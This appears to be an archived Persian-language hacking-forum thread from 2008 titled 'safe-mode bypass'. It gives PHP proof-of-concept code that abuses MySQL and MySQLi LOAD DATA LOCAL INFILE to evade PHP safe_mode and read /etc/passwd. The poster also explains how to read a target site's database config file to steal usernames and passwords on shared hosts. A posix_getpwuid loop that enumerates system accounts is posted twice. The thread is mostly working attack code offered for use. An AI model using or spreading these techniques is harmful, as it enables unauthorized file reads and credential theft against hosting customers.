PDA

برای دیدن نسخه کامل اینجا را کلیک کنید : safe-mode bypass



r00tshell
2008/06/03, 20:38
Details:

By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security restriction. An important thing here is that we can't rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode.

For MySQLi compiling with --disable-local-infile won't help because we could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);

Proof Of Concepts:

MySQL:

<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>

r00tshell
2008/06/03, 20:39
شما در صورت داشتن دسترسی یه دیتابیس میسازی و با کد اول در صورتی که از nysql استفاده میشه به یوزر و پسورد دیتابیس میتونی فایل رو بخونی

/etc/passwd هیمنطور اگه موفق به خوندن دیتابیس سایت شدید با جایگزین کردن یوزر نیم و پسورد همینکارو میتونین انجام بدین
حالا فکر کن به جای این فایل چه فایلهایی به دردت میخوره؟
تو فایل passwd اگر به دنیال تارگت هستی میتونین مشاهده کنید و بعد اگه دیدید سایت از نیوک استفاده میکنه کافیه به جای فایل passwd آدرس کانفیگ دیتابیس هدفت رو بدین!!
مثلا شما با خوندن فایل اکانت ها رو به دست آوردی همینطور یوزر نیم ها و پسوردها
دایرکتوری هدف شما اینجاست:

/home/r00tshell/public_html سایت از نیوک استفاده میکنه پس؟

/home/r00tshell/public_html/portal/config.php موفق و پیروز باشید !
با تشکر از شبرو.

r00tshell
2008/06/03, 20:40
با این هم میتونید روی اکثر سرور ها etc/passwd رو بخونید ...

<?php
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}
?>

r00tshell
2008/06/03, 20:43
اگر که سروری تایع posix_getpwuid() بسته باشه نمیتونید از طریق برنامه زیر فایل passwd رو ببینید:

<?php
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}
?>